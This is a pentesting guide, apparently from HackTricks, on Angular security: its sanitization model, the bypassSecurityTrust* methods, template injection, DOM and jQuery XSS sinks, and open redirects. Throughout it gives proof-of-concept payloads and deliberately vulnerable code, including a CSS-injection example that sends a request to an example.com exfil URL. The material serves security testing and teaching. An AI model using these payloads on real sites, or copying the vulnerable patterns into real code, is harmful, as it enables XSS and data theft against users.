hacktricks/network-services-pentesting/pentesting-web/angular.md

Angular

The Checklist

Checklist from here.

• Angular is considered a client-side framework and is not expected to provide server-side protection
• Sourcemap for scripts is disabled in the project configuration
• Untrusted user input is always interpolated or sanitized before being used in templates
• The user has no control over server-side or client-side templates
• Untrusted user input is sanitized using an appropriate security context before being trusted by the application
  • BypassSecurity* methods are not used with untrusted input
• Untrusted user input is not passed to Angular classes such as ElementRef , Renderer2 and Document, or other JQuery/DOM sinks

What is Angular

Angular is a powerful and open-source front-end framework maintained by Google. It uses TypeScript to enhance code readability and debugging. With strong security mechanisms, Angular prevents common client-side vulnerabilities like XSS and open redirects. It can be used on the server-side too, making security considerations important from both angles.

Framework architecture

In order to better understand the Angular basics, let’s go through its essential concepts.

Common Angular project usually looks like:

my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

According to the documentation, every Angular application has at least one component, the root component (AppComponent) that connects a component hierarchy with the DOM. Each component defines a class that contains application data and logic, and is associated with an HTML template that defines a view to be displayed in a target environment. The @Component() decorator identifies the class immediately below it as a component, and provides the template and related component-specific metadata. The AppComponent is defined in the app.component.ts file.

Angular NgModules declare a compilation context for a set of components that is dedicated to an application domain, a workflow, or a closely related set of capabilities. Every Angular application has a root module, conventionally named AppModule, which provides the bootstrap mechanism that launches the application. An application typically contains many functional modules. The AppModule is defined in the app.module.ts file.

The Angular Router NgModule provides a service that lets you define a navigation path among the different application states and view hierarchies in your application. The RouterModuleis defined in the app-routing.module.ts file.

For data or logic that isn't associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the @Injectable() decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don't fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.

Sourcemap configuration

Angular framework translates TypeScript files into JavaScript code by following tsconfig.json options and then builds a project with angular.json configuration. Looking at angular.json file, we observed an option to enable or disable a sourcemap. According to the Angular documentation, the default configuration has a sourcemap file enabled for scripts and is not hidden by default:

"sourceMap": {
	"scripts": true,
	"styles": true,
	"vendor": false,
	"hidden": false
}

Generally, sourcemap files are utilized for debugging purposes as they map generated files to their original files. Therefore, it is not recommended to use them in a production environment. If sourcemaps are enabled, it improves the readability and aids in file analysis by replicating the original state of the Angular project. However, if they are disabled, a reviewer can still analyze a compiled JavaScript file manually by searching for anti-security patterns.

Furthemore, a compiled JavaScript file with an Angular project can be found in the browser developer tools → Sources (or Debugger and Sources) → [id].main.js. Depending on the enabled options, this file may contain the following row in the end //# sourceMappingURL=[id].main.js.map or it may not, if the hidden option is set to true. Nonetheless, if the sourcemap is disabled for scripts, testing becomes more complex, and we cannot obtain the file. In addition, sourcemap can be enabled during project build like ng build --source-map.

Data binding

Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.

We can classify binding by data flow:

• Data source to view target (includes interpolation, properties, attributes, classes and styles); can be applied by using [] or {{}} in template;
• View target to data source (includes events); can be applied by using () in template;
• Two-Way; can be applied by using [()] in template.

Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:

TYPE	TARGET	EXAMPLES
Property	Element property, Component property, Directive property	<img [alt]="hero.name" [src]="heroImageUrl">
Event	Element event, Component event, Directive event	<button type="button" (click)="onSave()">Save
Two-way	Event and property	<input [(ngModel)]="name">
Attribute	Attribute (the exception)	<button type="button" [attr.aria-label]="help">help
Class	class property	<div [class.special]="isSpecial">Special
Style	style property	<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular security model

Angular's design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:

1. Interpolation or {{user_input}}- performs context-sensitive encoding and interprets user input as text;

   //app.component.ts
   test = "<script>alert(1)</script><h1>test</h1>";
   
   //app.component.html
   {{test}}
   

   Result: <script>alert(1)</script><h1>test</h1>

2. Binding to properties, attributes, classes and styles or [attribute]="user_input" - performs sanitization based on the provided security context.

   //app.component.ts
   test = "<script>alert(1)</script><h1>test</h1>";
   
   //app.component.html
   <div [innerHtml]="test"></div>
   

   Result: <div><h1>test</h1></div>

There are 6 types of SecurityContext :

• None;
• HTML is used, when interpreting value as HTML;
• STYLE is used, when binding CSS into the style property;
• URL is used for URL properties, such as <a href>;
• SCRIPT is used for JavaScript code;
• RESOURCE_URL as a URL that is loaded and executed as code, for example, in <script src>.

Vulnerabilities

Bypass Security Trust methods

The Angular introduces a list of methods to bypass its default sanitization process and to indicate that a value can be used safely in a specific context, as in the following five examples:

1. bypassSecurityTrustUrl is used to indicate the given value is a safe style URL:

   //app.component.ts
   this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
   
   //app.component.html
   <a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
   
   //result
   <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
   

2. bypassSecurityTrustResourceUrl is used to indicate the given value is a safe resource URL:

   //app.component.ts
   this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
   
   //app.component.html
   <iframe [src]="trustedResourceUrl"></iframe>
   
   //result
   <img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
   

3. bypassSecurityTrustHtml is used to indicate the given value is safe HTML. Note that inserting script elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.

   //app.component.ts
   this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
   
   //app.component.html
   <p style="border:solid" [innerHtml]="trustedHtml"></p>
   
   //result
   <h1>html tag</h1>
   <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
   

4. bypassSecurityTrustScript is used to indicate the given value is safe JavaScript. However, we found its behavior to be unpredictable, because we couldn’t to execute JS code in templates using this method.

   //app.component.ts
   this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
   
   //app.component.html
   <script [innerHtml]="trustedScript"></script>
   
   //result
   -
   

5. bypassSecurityTrustStyle is used to indicate the given value is safe CSS. The following example illustrates CSS injection:

   //app.component.ts
   this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
   
   //app.component.html
   <input type="password" name="pwd" value="01234" [style]="trustedStyle">
   
   //result
   Request URL: GET example.com/exfil/a
   

Angular provides a sanitize method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with SecurityContext.URL on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.

HTML injection

This vulnerability occurs when user input is bound to any of the three properties: innerHTML, outerHTML, or iframe srcdoc. While binding to these attributes interprets HTML as it is, the input is sanitized using SecurityContext.HTML. Thus, HTML injection is possible, but cross-site scripting (XSS) is not.

Example of using innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html'
})
export class AppComponent{
	//define a variable with user input
  test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

The result is <div><h1>test</h1></div>.

Template injection

Client-Side Rendering (CSR)

Angular leverages templates to construct pages dynamically. The approach entails enclosing template expressions for Angular to evaluate within double curly brackets ({{}}). In this way, the framework offers additional functionality. For instance, a template such as {{1+1}} would display as 2.

Typically, Angular escapes user input that can be confused with template expressions (e.g., characters such as `< > ' " ``). It means that additional steps are required to circumvent this restriction, such as utilizing functions that generate JavaScript string objects to avoid using blacklisted characters. However, to achieve this, we must consider the Angular context, its properties, and variables. Therefore, a template injection attack may appear as follows:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
	selector: 'app-root',
	template: '<h1>title</h1>' + _userInput
})

As shown above: constructorrefers to the scope of the Object constructor property, enabling us to invoke the String constructor and execute an arbitrary code.

Server-Side Rendering (SSR)

Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same.

Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.

XSS

DOM interfaces

As previously stated, we can directly access the DOM using the Document interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.

We used the document.write() and document.createElement() methods in the examples below:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
    document.open();
    document.write("<script>alert(document.domain)</script>");
    document.close();
  }
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
    var d = document.createElement('script');
    var y = document.createTextNode("alert(1)");
    d.appendChild(y);
    document.body.appendChild(d);
  }
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
	var a = document.createElement('img');
	a.src='1';
	a.setAttribute('onerror','alert(1)');
	document.body.appendChild(a);
  }
}

Angular classes

There are some classes that can be used to work with DOM elements in Angular: ElementRef, Renderer2, Location and Document. A detailed description of the last two classes is given in the Open redirects section. The main difference between the first two is that the Renderer2 API provides a layer of abstraction between the DOM element and the component code, whereas ElementRef just holds a reference to the element. Therefore, according to Angular documentation, ElementRef API should only be used as a last resort when direct access to the DOM is needed.

• ElementRef contains the property nativeElement, which can be used to manipulate the DOM elements. However, improper usage of nativeElement can result in an XSS injection vulnerability, as shown below:

  //app.component.ts
  import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent {
  ...
    constructor(private elementRef: ElementRef) {
      const s = document.createElement('script');
      s.type = 'text/javascript';
      s.textContent = 'alert("Hello World")';
      this.elementRef.nativeElement.appendChild(s);
   }
  }
  

• Despite the fact that Renderer2 provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With Renderer2, it is possible to set attributes on an HTML element using the setAttribute() method, which has no XSS prevention mechanisms.

  //app.component.ts
  import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent {
  
    public constructor (
      private renderer2: Renderer2
    ){}
    @ViewChild("img") img!: ElementRef;
  
    addAttribute(){
      this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
      this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
   }
  }
  
  //app.component.html
  <img #img>
  <button (click)="setAttribute()">Click me!</button>
  

• To set the property of a DOM element, you can use Renderer2.setProperty() method and trigger an XSS attack:

  //app.component.ts
  import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent {
  
    public constructor (
      private renderer2: Renderer2
    ){}
    @ViewChild("img") img!: ElementRef;
  
    setProperty(){
      this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
   }
  }
  
  //app.component.html
  <a #a></a>
  <button (click)="setProperty()">Click me!</button>
  

During our research, we also examined the behavior of other Renderer2 methods, such as setStyle(), createComment(), and setValue(), in relation to XSS and CSS injections. However, we were unable to find any valid attack vectors for these methods due to their functional limitations.

jQuery

jQuery is a fast, small, and feature-rich JavaScript library that can be used in the Angular project to help with manipulation the HTML DOM objects. However, as it is known, this library’s methods may be exploited to achieve an XSS vulnerability. In order to discuss how some vulnerable jQuery methods can be exploited in Angular projects, we added this subsection.

• The html() method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of <script> tags or use of HTML attributes that execute code as shown in the example.

  //app.component.ts
  import { Component, OnInit } from '@angular/core';
  import * as $ from 'jquery';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent implements OnInit 
  {
    ngOnInit() 
    {
      $("button").on("click", function()
      {
        $("p").html("<script>alert(1)</script>");
      });
    }
  }
  
  //app.component.html
  <button>Click me</button>
  <p>some text here</p>
  

• The jQuery.parseHTML() method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document.

  jQuery.parseHTML(data [, context ] [, keepScripts ])
  

  As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The jQuery.parseHTML() method does not run scripts in the parsed HTML unless keepScripts is explicitly true. However, it is still possible in most environments to execute scripts indirectly; for example, via the <img onerror> attribute.

  //app.component.ts
  import { Component, OnInit } from '@angular/core';
  import * as $ from 'jquery';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent implements OnInit 
  {
    ngOnInit() 
    {
      $("button").on("click", function()
      {
        var $palias = $("#palias"),
          str = "<img src=1 onerror=alert(1)>",
          html = $.parseHTML(str),
          nodeNames = [];
        $palias.append(html);
      });
    }
  }
  
  //app.component.html
  <button>Click me</button>
  <p id="palias">some text</p>
  

Open redirects

DOM interfaces

According to the W3C documentation, the window.location and document.location objects are treated as aliases in modern browsers. That is why they have similar implementation of some methods and properties, which might cause an open redirect and DOM XSS with javascript:// schema attacks as mentioned below.

• window.location.href(and document.location.href)

  The canonical way to get the current DOM location object is using window.location. It can also be used to redirect the browser to a new page. As a result, having control over this object allows us to exploit an open redirect vulnerability.

  //app.component.ts
  ...
  export class AppComponent {
      goToUrl(): void {
        window.location.href = "https://google.com/about"
      }
  }
  
  //app.component.html
  <button type="button" (click)="goToUrl()">Click me!</button>
  

  The exploitation process is identical for the following scenarios.

• window.location.assign()(and document.location.assign())

  This method causes the window to load and display the document at the URL specified. If we have control over this method, it might be a sink for an open redirect attack.

  //app.component.ts
  ...
  export class AppComponent {
      goToUrl(): void {
        window.location.assign("https://google.com/about")
      }
  }
  

• window.location.replace()(and document.location.replace())

  This method replaces the current resource with the one at the provided URL.

  This differs from the assign() method is that after using window.location.replace(), the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method.

  //app.component.ts
  ...
  export class AppComponent {
      goToUrl(): void {
        window.location.replace("http://google.com/about")
      }
  }
  

• window.open()

  The window.open() method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability.

  //app.component.ts
  ...
  export class AppComponent {
      goToUrl(): void {
        window.open("https://google.com/about", "_blank")
      }
  }
  

Angular classes

• According to Angular documentation, Angular Document is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. Document.location properties and methods might be sinks for successful open redirect attacks as shown in the example:

  //app.component.ts
  import { Component, Inject } from '@angular/core';
  import { DOCUMENT } from '@angular/common';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css']
  })
  export class AppComponent {
    constructor(@Inject(DOCUMENT) private document: Document) { }
  
    goToUrl(): void {
        this.document.location.href = 'https://google.com/about';
    }
  }
  
  //app.component.html
  <button type="button" (click)="goToUrl()">Click me!</button>
  

• During the research phase, we also reviewed Angular Location class for open redirect vulnerabilities, but no valid vectors were found. Location is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - go() , replaceState(), and prepareExternalUrl(). However, we cannot use them for redirection to the external domain. For example:

  //app.component.ts
  import { Component, Inject } from '@angular/core';
  import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
  
  @Component({
    selector: 'app-root',
    templateUrl: './app.component.html',
    styleUrls: ['./app.component.css'],
    providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
  })
  export class AppComponent {
    location: Location;
    constructor(location: Location) {
      this.location = location;
    }
    goToUrl(): void {
     console.log(this.location.go("http://google.com/about"));
    }
  }
  

  Result: http://localhost:4200/http://google.com/about

• The Angular Router class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:

  //app-routing.module.ts
  const routes: Routes = [
  { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
  

  Result: http://localhost:4200/https:

  The following methods also navigate within the domain’s scope:

  const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
  this.router.navigate(['PATH'])
  this.router.navigateByUrl('URL')
  

References

• Angular
• Angular Security: The Definitive Guide (Part 1)
• Angular Security: The Definitive Guide (Part 2)
• Angular Security: The Definitive Guide (Part 3)
• Angular Security: Checklist
• Workspace and project file structure
• Introduction to components and templates
• Source map configuration
• Binding syntax
• Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
• Sanitization and security contexts
• GitHub - angular/dom_security_schema.ts
• XSS in Angular and AngularJS
• Angular Universal
• DOM XSS
• Angular ElementRef
• Angular Renderer2
• Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
• jQuery API Documentation
• How To Use jQuery With Angular (When You Absolutely Have To)
• Angular Document
• Angular Location
• Angular Router